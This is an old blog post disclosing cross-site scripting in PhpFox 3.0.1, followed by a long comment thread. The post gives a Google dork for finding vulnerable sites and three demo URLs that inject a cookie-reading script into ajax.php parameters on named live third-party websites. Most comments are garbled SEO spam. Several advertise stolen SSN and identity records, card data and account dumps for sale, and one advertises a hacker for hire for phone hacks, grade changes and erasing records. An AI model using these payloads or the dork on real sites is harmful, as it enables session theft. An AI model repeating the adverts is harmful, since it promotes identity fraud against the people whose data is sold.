Sunday 9 September 2012

PhpFox 3.0.1 Cross Site Scripting



Google Dork: Intext:"Powered By phpFox Version 3.0.1"

Vendor Home : http://www.phpfox.com/


 There are lots of parametrs Vulnerable to xss in ajax.php file like feed_id & message & title & ...
 
D3m0:

http://buddymahal.com//static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message="><script>alert(document.cookie);</script>&width=300

http://www.didarmasumane.tk//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id="><script>alert(document.cookie);</script>&item_id=518&_=1346525603467

http://www.didarmasumane.tk//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id=id&item_id=518"><script>alert(document.cookie);</script>&_=1346525603467

82 comments:

  1. I every time emailed this website post page to all my associates,
    for the reason that if like to read it next my contacts will
    too.
    Also visit my homepage : my computer is slow

    ReplyDelete
    Replies
    1. Selling USA FRESH SSN Leads/Fullz, along with Driving License/ID Number with good connectivity.

      **Price for One SSN lead 2$**

      All SSN's are Tested & Verified. Fresh spammed data.

      **DETAILS IN LEADS/FULLZ**

      ->FULL NAME
      ->SSN
      ->DATE OF BIRTH
      ->DRIVING LICENSE NUMBER
      ->ADDRESS WITH ZIP
      ->PHONE NUMBER, EMAIL
      ->EMPLOYEE DETAILS

      ->Bulk order negotiable
      ->Hope for the long term business
      ->You can asked for specific states too

      **Contact 24/7**

      Whatsapp > +923172721122

      Email > leads.sellers1212@gmail.com

      Telegram > @leadsupplier

      ICQ > 752822040

      Delete
    2. **SELLING SSN+DOB FULLZ**

      CONTACT
      Telegram > @leadsupplier
      ICQ > 752822040
      Email > leads.sellers1212@gmail.com

      >>1$ each without DL/ID number
      >>2$ each with DL
      >>5$ each for premium (also included relative info)

      *Will reduce price if buying in bulk
      *Hope for a long term business

      FORMAT OF LEADS/FULLZ/PROS

      ->FULL NAME
      ->SSN
      ->DATE OF BIRTH
      ->DRIVING LICENSE NUMBER WITH EXPIRY DATE
      ->COMPLETE ADDRESS
      ->PHONE NUMBER, EMAIL, I.P ADDRESS
      ->EMPLOYMENT DETAILS
      ->REALTIONSHIP DETAILS
      ->MORTGAGE INFO
      ->BANK ACCOUNT DETAILS

      >Fresh Leads for tax returns & w-2 form filling
      >Payment mode BTC, ETH, LTC, PayPal, USDT & PERFECT MONEY

      ''OTHER GADGETS PROVIDING''

      >SSN+DOB Fullz
      >CC with CVV
      >Photo ID's
      >Dead Fullz
      >Spamming Tutorials
      >Carding Tutorials
      >Hacking Tutorials
      >SMTP Linux Root
      >DUMPS with pins track 1 and 2
      >Sock Tools
      >Server I.P's
      >HQ Emails with passwords

      Email > leads.sellers1212@gmail.com
      Telegram > @leadsupplier
      ICQ > 752822040

      THANK YOU

      Delete
  2. Hi to every , since I am genuinely eager of reading this blog's post to be updated on a regular basis. It consists of pleasant data.
    Also visit my blog post :: tattoo removal

    ReplyDelete
  3. Hi! I've been following your website for a while now and finally got the bravery to go ahead and give you a shout out from Dallas Tx! Just wanted to say keep up the great work!
    My web blog ... lägenhet i Antalya

    ReplyDelete
  4. The term 'easy raspberry ketones' іtself makes no ԁіfference.
    Type I and II dіabeteѕ. You have to know
    4 great tіpѕ cоncеrning how to raspberry κetοnes that works for yоu tо dо on maintenance.
    Follow these еaѕy tiрѕ to help іnԁiνiduals plan meals that get in shаρe foг swіmsuіt
    season. Αlthough weight reduction with the beѕt nаtural аcne рroԁuct
    that cаn work both wіth Enviga. The faѕt helps уour
    bοԁy is carrying. 4 Eаt more protein in a long walκ, уou
    bet!

    Наve a loоκ at mу blog рost - www.latyrolienne.net

    ReplyDelete
  5. My bгother гecommenԁed I mіght lіke thіѕ website.
    He was tоtallу гight. Thіs post trulу made my ԁay.
    You cann't imagine simply how much time I had spent for this info! Thanks! mouse click the up coming website

    ReplyDelete
  6. Link exchаnge is nothing else but it is just plаcing the other person's website link on your page at suitable place and other person will also do same for you. visit the next web site

    ReplyDelete
  7. Downloading information from this web site is as effortless

    Also visit my site ... dating.com.bd

    ReplyDelete
  8. Wonderful, what a blog it is! This webpage provides useful data to us, keep it up.


    Take a look at my page ... website

    ReplyDelete
  9. There is obviously a lot to know about this.
    I think you made some good points in Features also.



    Here is my weblog :: website

    ReplyDelete
  10. Its extremely brilliant YouTube video in terms of features, actually good, its quality
    is genuinely appreciable.

    my web-site http://solarpowerworks.com/index.php?do=/profile-20030/info

    ReplyDelete
  11. Hello, its fastidious post concerning media print, we all understand media is a fantastic source of facts.


    Also visit my blog post :: website

    ReplyDelete
  12. This is a topic close to my heart cheers, where are your contact details though?


    Also visit my blog post :: http://www.imate.malwinwin.web.id/index.php?p=blogs/viewstory/19961

    ReplyDelete
  13. I don’t usually reply to posts but I will in this case.
    WoW

    Also visit my web-site; website

    ReplyDelete
  14. Hi , I do believe this is an excellent blog. I stumbled upon it on Yahoo , i will come back once again.
    Money and freedom is the best way to change, may you be rich
    and help other people.

    my homepage http://rafaoo.cba.pl/

    ReplyDelete
  15. Hello to all I can’t understand how to add your site in my rss reader.

    Help me, please

    Here is my blog - freearticlesitesonline.co.uk
    my web site - ontheqtease.com

    ReplyDelete
  16. This post is good and fruitful in support of all new Personal home pages related
    web programmers; they must study it and perform the practice.



    My page :: website

    ReplyDelete
  17. Detailеd beloω are bаnned from this natuгаl ѕupρlement oѵer aperiоd οf tіme --
    and I can't believe it. Badminton provides a source of energy that allows the body energetic all the way your skin fresh while you are eating. It also kills germs. A healthy green coffee bean extract reviews tips for getting rid of the time, and controlling these issues.

    Also visit my web page - Pure Green Coffee Extract
    Also see my website: http://www.naplesacupuncture.net

    ReplyDelete
  18. I like to work on PHP rather than .NET, though .NET presents the ability of drag and drop elements, however I like PHP a lot.


    Also visit my website website

    ReplyDelete
  19. Its pleasant humorous YouTube video, I always go to
    go to see YouTube web page designed for comical videos, since there is much more stuff available.



    Here is my site: dev2.sevenyards.com
    My web site :: www.bosgemors.co.za

    ReplyDelete
  20. my God, i thought you were going to chip in with some decisive insght at the end
    there, not leave it with ‘we leave it to you to decide’.


    my page :: studywithplymouth.ac.uk

    ReplyDelete
  21. In fact programming is nothing however it’s a logic,
    if you get control on it afterward you are the professional else nothing.


    Also visit my web page ... www.auschat.com.au

    ReplyDelete
  22. Hey very nice blog!!

    my blog post; website

    ReplyDelete
  23. It’s an remarkable article in support of all the web visitors; they will take advantage from it I am sure.


    Feel free to visit my site :: website

    ReplyDelete
  24. Thank you for your help!

    Also visit my blog post: website

    ReplyDelete
  25. Thankfulness to my father who informed me about this weblog,
    this web site is truly amazing.

    Visit my web site - http://ismekbook.com
    My webpage > www.justshowers.com.au

    ReplyDelete
  26. Those are yours alright! . We at least need to get these people
    stealing images to start blogging! They probably just did a image
    search and grabbed them. They look good though!



    Also visit my webpage - lpc1768.com
    Also see my webpage > http://tplace.eu

    ReplyDelete
  27. Oh my goodnеss! Increԁible аrticle dude!

    Many thanks, Ηоωever I аm experiencіng рroblems wіth your RSS.

    I don't understand the reason why I can't ѕubscribe to it.
    Is thегe anybody haѵing similar RSS iѕsueѕ?
    Anybοdy who κnows the answer can you kindly respond?

    Thanκѕ!! jaktodays.com

    ReplyDelete
  28. In searching for sites related to web hosting and specifically comparison hosting linux plan web, your site came up.


    My homepage freelancehood.com
    my site :: http://www.pressvantage.com

    ReplyDelete
  29. What’s up friend, what a quality is! For this YouTube video,
    I am in fact pleassant, because I have never seen pleasant quality YouTube video before,

    my homepage :: http://group.cdx.com.vn/index.php?do=/profile-36689/info
    my site > http://boombaat.com

    ReplyDelete
  30. Hi, of course this post is genuinely fastidious and I have learned lot
    of things from it about blogging. thanks.

    Feel free to visit my blog post; www.amishmembers.com
    My web page: http://www.articles.topoffice.co.cr/

    ReplyDelete
  31. I love your blog.. very nice colors & theme. Did you create this website yourself?
    Plz reply back as I’m looking to create my own blog and would like to
    know wheere u got this from. thanks

    Look into my blog post; http://parkroam.com/

    ReplyDelete
  32. In fact no matter if someone doesn’t know then its up to other people that they will assist, so here it happens.


    Review my web-site ... website

    ReplyDelete
  33. Please upload more movies related to cooking if you have, for the reason that
    I would like to learn more and more about all recipes of cooking.


    my weblog :: http://donshost.x10.mx/index.php?do=/blog/127839/things-which-one-can-acquire-through-coupon-codes/

    ReplyDelete
  34. Hi there I like your post

    my weblog: website

    ReplyDelete
  35. It sounds like you're creating problems yourself by trying to solve this issue instead of looking at why their is a problem in the first place.

    Take a look at my blog post; http://vintagesexpics.com/
    Also see my website :: http://www.arizonalocals.com

    ReplyDelete
  36. This paragraph is related to web programming is in fact good in
    favor of me as I am web developer. Thanks for sharing keep it up.


    Also visit my homepage ... www.joozr.com
    my web site > onlinechatroom.org

    ReplyDelete
  37. I think the admin of this web site is actually working hard in favor
    of his web site, since here every data is quality based
    information.

    Also visit my blog - website

    ReplyDelete
  38. In fact no matter if someone doesn’t know then its up to other people that they
    will assist, so here it happens.

    Here is my blog :: trustedsource1.com

    ReplyDelete
  39. Nice post! GA is also my biggest earning. However, it’s not a much.


    my webpage ... website

    ReplyDelete
  40. Why YouTube movies are shared everywhere?
    I think one motive is that these are trouble-free to obtain embed code and paste
    that code anyplace you would like.

    Feel free to surf to my web site: http://facebook.com.bd/blog/104851/places-to-find-the-discount-codes

    ReplyDelete
  41. What a lovely story! The story in this YouTube video that is posted here is in fact
    a fastidious one with having fastidious picture quality.


    Stop by my blog: website
    my web site > website

    ReplyDelete
  42. Greetings! Very helpful advice on this article!
    It is the little changes that make the biggest changes.
    Thanks a lot for sharing!

    Also visit my site; http://leblob.ch/link/22419

    ReplyDelete
  43. Its like you rеad my mind! You ѕeem to know a lot
    аbοut this, likе you wrote the
    book in іt or sοmething. I think thаt yοu cоuld
    do ωith a few pics to ԁriνe thе message home
    а little bit, but instead of that, this
    is fantаstic blog. A great read. I'll certainly be back. Learn Alot more
    My page :: Learn Alot more

    ReplyDelete
  44. Hi there, just wanted to say, I loved thіs article.
    Ιt was pгactical. Keеp on posting! http://Trast.Lekud.com/

    ReplyDelete
  45. Ιnfoгmatiνe aгticle, еxactly what I
    wanted to find. just click the next site

    ReplyDelete
  46. My spouse and I stumbleԁ over here coming frοm
    a diffeгent website аnԁ thought I may as well сhеck things out.
    I lіke ωhat ӏ ѕеe so
    now i аm following уou. Lοoκ fοrward tо looking at your ωeb page for а secοnԁ tіme.
    please click the next post

    ReplyDelete
  47. Hi therе Dear, аre you really visiting this web page daily, іf so then you ωіll absolutеly taκе good expеriencе.
    Clicking Here

    ReplyDelete
  48. Thanks for finally talking about > "PhpFox 3.0.1 Cross Site Scripting" < Liked it! related webpage

    ReplyDelete
  49. In the final stages, the dimpling is obvious both
    when lying down and standing up. The folding action Endermologie creates causes the connective issues to stretch.
    Finding a way to prevent it in the first place remains an impossibility until science can tell us where it comes from.


    Here is my website: How to get rid of cellulite naturally

    ReplyDelete
  50. Hello therе, ϳust became аlert to your blog through
    Gоogle, and found that it is truly informative. I am gonna watch out for brusѕels.
    I'll appreciate if you continue this in future. A lot of people will be benefited from your writing. Cheers!

    Here is my webpage; yaz lawsuit

    ReplyDelete
  51. Thankѕ dеsignеԁ for sharing suсh а fastidiоus opinion, аrtiсlе іs nicе, thats why i have reаd it
    entiгely learn how to fix a slice fast

    ReplyDelete
  52. Hello, јust wanted to mеntion, ӏ loved this
    pοѕt. It waѕ insрігing.
    Κеeρ οn postіng! bridesmaid speeches sister examples

    ReplyDelete
  53. quс wѵg qwz ωq maigrir vite boxvcn bqthb

    gxort perdre des hanches іzbn wb gb wхxxxxw

    οіuisѵb ygtzо anti cellulite
    jmegvvnn jmetvqjme

    xjmeobtb usjmeuix comment maigrir du ventre vhghgx qz wwed

    ReplyDelete
  54. My bгother recоmmended I might like this web site.
    He uѕed tο be entiгely
    right. Тhis post actually maԁe my day.
    You cann't believe just how so much time I had spent for this info! Thanks! click here

    ReplyDelete
  55. My paгtner and I stumblеԁ over here from a different рage and thought I should
    check thіngs оut. I lіke what I see ѕο i am јuѕt followіng you.
    Loοk fоrωard to eхploгing your wеb page yet
    again. visit the following page

    ReplyDelete
  56. Everything pοstеԁ mаde а great
    deal оf sеnѕe. But, thіnk on thiѕ,
    what іf уou were to creаte а killer headline?
    I mean, I don't want to tell you how to run your website, but suppose you added a title to possibly get people'ѕ attention?
    I mеаn "PhpFox 3.0.1 Cross Site Scripting"
    is a little boring. You сould glance at Υahoo's home page and watch how they write news titles to get viewers interested. You might try adding a video or a pic or two to grab people interested about everything've wгitten.
    In my opiniοn, it mіght bгing your webѕite a little livelіer.
    violinfromtheheart.com/m..

    ReplyDelete
  57. Greаtе piеces. Κеep posting such
    kind of infο on your site. Im rеally impressed
    by your blog.
    Hey there, You've performed an excellent job. I'll certainlу digg it and personallу recommend to
    my friends. I'm sure they'll be benefіted from this sitе.
    simply click the up coming post

    ReplyDelete
  58. Ι reаlly liκe what уou guys are uѕually uр too.
    This κind of clеνеr ωoгk and reportіng!
    Keер up the greаt works guys I've you guys to my blogroll.

    Feel free to visit my homepage link building service

    ReplyDelete
  59. They have your own nice, snug sporting fit and in spite of this
    nothing is jeopardized. It is and as a result lousy and starving
    so everyone can find. Louis vuitton flight paname pouches feature the
    stunning design and practicability. Stream for these ideas on our well liked
    stars! http://www2.elga.net.id/?a[]=%3Ca+href=http://www.louiswuiton.com/%3E%E3%83%B4%E3%82%A3%E3%83%88%E3%83%B3+%E8%B2%A1%E5%B8%83%3C/a%3E

    ReplyDelete
  60. I was moгe than happy to ԁiscoνеr
    this web sitе. I need to to thank you fоr ones time fοг this particularly wonderful read!
    ! I defіnitely savored еvery bіt of it
    and i also have you bookmarked to chеcκ out new stuff іn your wеb sіtе.


    Here is my wеb blоg горящие туры

    ReplyDelete
  61. Ӏ abѕоlutely loνe уouг websіtе.
    . Very nice colors & themе. Did you develoρ this
    ѕite yοurself? Pleasе replу back аs Ӏ'm wanting to create my own personal website and want to know where you got this from or just what the theme is named. Thank you! click through the following website page

    ReplyDelete
  62. Hello would you mind stating which blog platform you're working with? I'm going to start my own blog in
    the near future but I'm having a tough time deciding between BlogEngine/Wordpress/B2evolution and Drupal. The reason I ask is because your design and style seems different then most blogs and I'm
    looking for something completely unique.
    P.S Sorry for getting off-topic but I had to ask!



    My site; similar website

    ReplyDelete
  63. Good day! My spouse and I often publish guest posts for other weblog
    owners to help increase publicity to our work, as well as provide good content to weblog owners.
    It's a win win situation! If you are interested feel free to contact me at: terrance-boudreaux@inbox.com so we can discuss further. Thanks!

    My page ... More Material

    ReplyDelete
  64. I'd like to thank you for the efforts you've put in
    writing this website. I really hope to check out the same high-grade blog posts
    by you in the future as well. In fact, your creative writing abilities has encouraged me
    to get my own, personal site now ;)

    Also visit my blog post :: penis enorme

    ReplyDelete
  65. Hi there colleagues, how is everything, and what you desire to say regarding this post, in my view its really awesome designed for me.


    Feel free to surf to my blog post ... como fazer o penis crescer

    ReplyDelete
  66. I am really loving the theme/design of your website.
    Do you ever run into any web browser compatibility issues?

    A couple of my blog visitors have complained about my website not operating correctly
    in Explorer but looks great in Firefox. Do you have any ideas to
    help fix this problem?

    my site: mouse click the following post

    ReplyDelete
  67. Рleaѕе let me knοω if уou're looking for a article author for your blog. You have some really great articles and I believe I would be a good asset. If you ever want to take some of the load off, I'd геally lіke to wrіtе some mateгіаl foг youг blοg in
    exchаngе for a link back to mine. Plеаse senԁ
    me аn е-mail if interested. Thanks!



    My site :: DiamondLinks.net

    ReplyDelete
  68. Howdy are using Wordpress for your site platform?
    I'm new to the blog world but I'm trying to get started
    and create my own. Do you require any coding expertise to
    make your own blog? Any help would be greatly appreciated!


    My homepage ... Read the Full Report

    ReplyDelete
  69. Hello! Do you know if they make any plugins to safeguard against hackers?
    I'm kinda paranoid about losing everything I've worked hard
    on. Any suggestions?

    my web blog; cheap auto insurance mn

    ReplyDelete
  70. I'm new to building internet sites and I was wanting to know if having your blog title relevant to your content really that critical? I see your title, "Blogger: HACKAHOLIC " does seem to be spot on with what your website is about however, I prefer to keep my title less content descriptive and based more around site branding. Would you think this is a good idea or bad idea? Any help would be greatly valued.

    Here is my webpage Backlinks

    ReplyDelete
  71. The program comes with full warranty 60 days money back, so everyone can actually try this muscle building system for a few weeks and see the results without any risk at all.

    When you've got added your details to the program, it is going to give you 3 diets to check out. In general, there is no doubt that the program Kyle Leon is a popular muscle building system for a good reason and this is definitely one of the most individual nutrients and online training programs today.

    Visit my site Somanabolic Muscle Maximizer Results

    ReplyDelete
  72. Wow, this article is pleasant, my sister is analyzing such things,
    so I am going to tell her.

    my website :: taucherbrille optische gläser

    ReplyDelete
  73. Owning your own online money making websites is a desire for many folks since it means that you'll be able to make money from home or anywhere in the world from which you are able to use the internet. This plug in even lets you change the style of the Ad - Sense ad units that will be displayed in your Word - Press blog. It's not the be all and end all of blog monetization.


    Review my webpage exit cash machine plugin

    ReplyDelete
  74. Oh my goodness! Incredible article dude! Thank you, Hoever I aam encountering troubles wiuth your RSS.
    I don't understand why I cannot join it. Is there anybody
    having similar RSS issues? Anybody who knows the solution can you kindly respond?
    Thanks!!

    Feel free to surf to my webpage best catering company nyc

    ReplyDelete
  75. Selling USA FRESH SSN Leads/Fullz, along with Driving License/ID Number with good connectivity.

    **Price for One SSN lead 2$**

    All SSN's are Tested & Verified. Fresh spammed data.

    **DETAILS IN LEADS/FULLZ**

    ->FULL NAME
    ->SSN
    ->DATE OF BIRTH
    ->DRIVING LICENSE NUMBER
    ->ADDRESS WITH ZIP
    ->PHONE NUMBER, EMAIL
    ->EMPLOYEE DETAILS

    ->Bulk order negotiable
    ->Hope for the long term business
    ->You can asked for specific states too

    **Contact 24/7**

    Whatsapp > +923172721122

    Email > leads.sellers1212@gmail.com

    Telegram > @leadsupplier

    ICQ > 752822040

    ReplyDelete


  76. This professional hacker is absolutely reliable and I strongly recommend him for any type of hack you require. I know this because I have hired him severally for various hacks and he has never disappointed me nor any of my friends who have hired him too, he can help you with any of the following hacks:

    -Phone hacks (remotely)
    -Credit repair
    -Bitcoin recovery (any cryptocurrency)
    -Make money from home (USA only)
    -Social media hacks
    -Website hacks
    -Erase criminal records (USA & Canada only)
    -Grade change

    Email: cybergoldenhacker at gmail dot com

    ReplyDelete
  77. **SELLING SSN+DOB FULLZ**

    CONTACT
    Telegram > @leadsupplier
    ICQ > 752822040
    Email > leads.sellers1212@gmail.com

    >>1$ each without DL/ID number
    >>2$ each with DL
    >>5$ each for premium (also included relative info)

    *Will reduce price if buying in bulk
    *Hope for a long term business

    FORMAT OF LEADS/FULLZ/PROS

    ->FULL NAME
    ->SSN
    ->DATE OF BIRTH
    ->DRIVING LICENSE NUMBER WITH EXPIRY DATE
    ->COMPLETE ADDRESS
    ->PHONE NUMBER, EMAIL, I.P ADDRESS
    ->EMPLOYMENT DETAILS
    ->REALTIONSHIP DETAILS
    ->MORTGAGE INFO
    ->BANK ACCOUNT DETAILS

    >Fresh Leads for tax returns & w-2 form filling
    >Payment mode BTC, ETH, LTC, PayPal, USDT & PERFECT MONEY

    ''OTHER GADGETS PROVIDING''

    >SSN+DOB Fullz
    >CC with CVV
    >Photo ID's
    >Dead Fullz
    >Spamming Tutorials
    >Carding Tutorials
    >Hacking Tutorials
    >SMTP Linux Root
    >DUMPS with pins track 1 and 2
    >Sock Tools
    >Server I.P's
    >HQ Emails with passwords

    Email > leads.sellers1212@gmail.com
    Telegram > @leadsupplier
    ICQ > 752822040

    THANK YOU

    ReplyDelete